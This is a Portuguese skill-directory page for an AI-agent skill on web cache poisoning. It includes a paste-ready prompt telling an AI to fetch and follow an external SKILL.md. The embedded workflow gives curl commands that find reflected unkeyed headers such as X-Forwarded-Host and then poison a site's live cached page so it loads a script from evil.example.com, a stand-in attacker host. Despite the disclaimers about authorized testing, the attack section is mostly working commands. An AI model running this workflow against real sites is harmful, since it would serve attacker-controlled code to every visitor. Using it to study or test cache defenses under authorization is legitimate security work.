Pular para o conteúdo
Skillpedia
Agentes35 mil · #6172

performing-web-cache-poisoning-attack

Ajuda seu agente a envenenar respostas de cache web para servir conteúdo malicioso a outros usuários.

O que ela faz

Esta ferramenta ajuda a testar como a 'memória' de sites (cache) funciona. Ela permite que você, durante testes de segurança autorizados, manipule essa memória para que, temporariamente, um site mostre conteúdo malicioso para outros usuários.

Quando usar

  • ✓Em testes de segurança autorizados em sites que usam sistemas de 'memória' (cache) como Cloudflare ou Varnish.
  • ✓Para verificar se um site pode ser enganado para mostrar informações erradas para todos.
  • ✓Ao avaliar se informações extras enviadas ao site afetam o que fica guardado na 'memória'.

Exemplo do que pedir para a IA

“Teste se o site pode ser enganado para mostrar um link malicioso em vez do normal.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-poisoning-attack/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-poisoning-attack/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia requisições especiais para o site. Ela verifica se informações extras (cabeçalhos) que não deveriam ser guardadas na 'memória' do site acabam sendo incluídas. Se sim, ela pode fazer o site guardar um link para um site malicioso.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-cache-poisoning-attack

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-web-cache-poisoning-attack/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Ataque de Envenenamento de Cache Web

Quando Usar

  • Durante testes de penetração autorizados quando a aplicação usa cache de CDN ou proxy reverso (Cloudflare, Akamai, Varnish, Nginx)
  • Ao avaliar aplicações web em busca de vulnerabilidades baseadas em cache que possam afetar todos os usuários
  • Para testar se cabeçalhos HTTP não-chave são refletidos em respostas cacheadas
  • Ao avaliar o comportamento da chave de cache e vulnerabilidades de engano de cache
  • Durante avaliações de segurança de aplicações com políticas de cache agressivas

Pré-requisitos

  • Autorização: Acordo de teste de penetração por escrito cobrindo explicitamente testes de envenenamento de cache
  • Burp Suite Professional: Com a extensão Param Miner para descoberta automatizada de cabeçalhos não-chave
  • curl: Para testes manuais de cache com controle preciso de cabeçalhos
  • Conhecimento do alvo: Compreensão da camada de cache (provedor de CDN, cabeçalhos de cache)
  • Cache buster: Parâmetro de consulta único para isolar requisições de teste de outros usuários
  • Cuidado: O envenenamento de cache afeta todos os usuários; teste primeiro com parâmetros de cache-buster

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1: Identificar a Camada e o Comportamento de Cache

Determine qual infraestrutura de cache está em uso e como a chave de cache é construída.

# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
  "(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"

# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)

# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string

# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active

# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache key

Passo 2: Descobrir Entradas Não-Chave com Param Miner

Use o Param Miner do Burp para encontrar cabeçalhos e parâmetros que não estão incluídos na chave de cache, mas são refletidos nas respostas.

# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output

# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"

# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?$CB" | grep "evil.example.com"

# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
  "https://target.example.com/?$CB" | grep "nothttps"

# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
  "https://target.example.com/?$CB"

# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
  "https://target.example.com/?$CB" | grep "http://"

Passo 3: Explorar Cabeçalho Não-Chave para Envenenamento de Cache

Crie requisições que envenenem respostas cacheadas com conteúdo malicioso.

# Cenário: X-Forwarded-Host refletido em URLs de recursos
# Resposta normal inclui: <script src="https://target.example.com/app.js">
# Envenenado: <script src="https://evil.example.com/app.js">

# Passo 1: Confirmar reflexão com cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?cb=unique123" | \
  grep "evil.example.com"

# Passo 2: Envenenar a página cacheada real (SEM cache buster)
# AVISO: Isso afeta todos os usuários - faça apenas com autorização explícita
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/"

# Passo 3: Verificar se o cache foi envenenado
curl -s "https://target.example.com/" | grep "evil.example.com"

…
Perguntas frequentes

O que é 'cache' de site?

É como a 'memória rápida' de um site. Ele guarda cópias de páginas para que, quando alguém as visita novamente, elas carreguem mais rápido. Essa ferramenta testa se essa 'memória' pode ser enganada.

O que são 'unkeyed headers'?

São informações extras enviadas junto com um pedido ao site. Normalmente, o 'cache' do site só considera o endereço principal para guardar uma cópia. 'Unkeyed headers' são informações extras que não são consideradas pelo cache, mas que o site pode usar para mudar a resposta.

Isso pode prejudicar meu site?

Sim, se usado sem autorização ou conhecimento. O 'cache poisoning' pode fazer com que todos os visitantes vejam conteúdo malicioso. Por isso, é crucial ter permissão explícita e usar parâmetros de teste para isolar os efeitos.

Detalhes

Descrição original do autor

Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6172
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas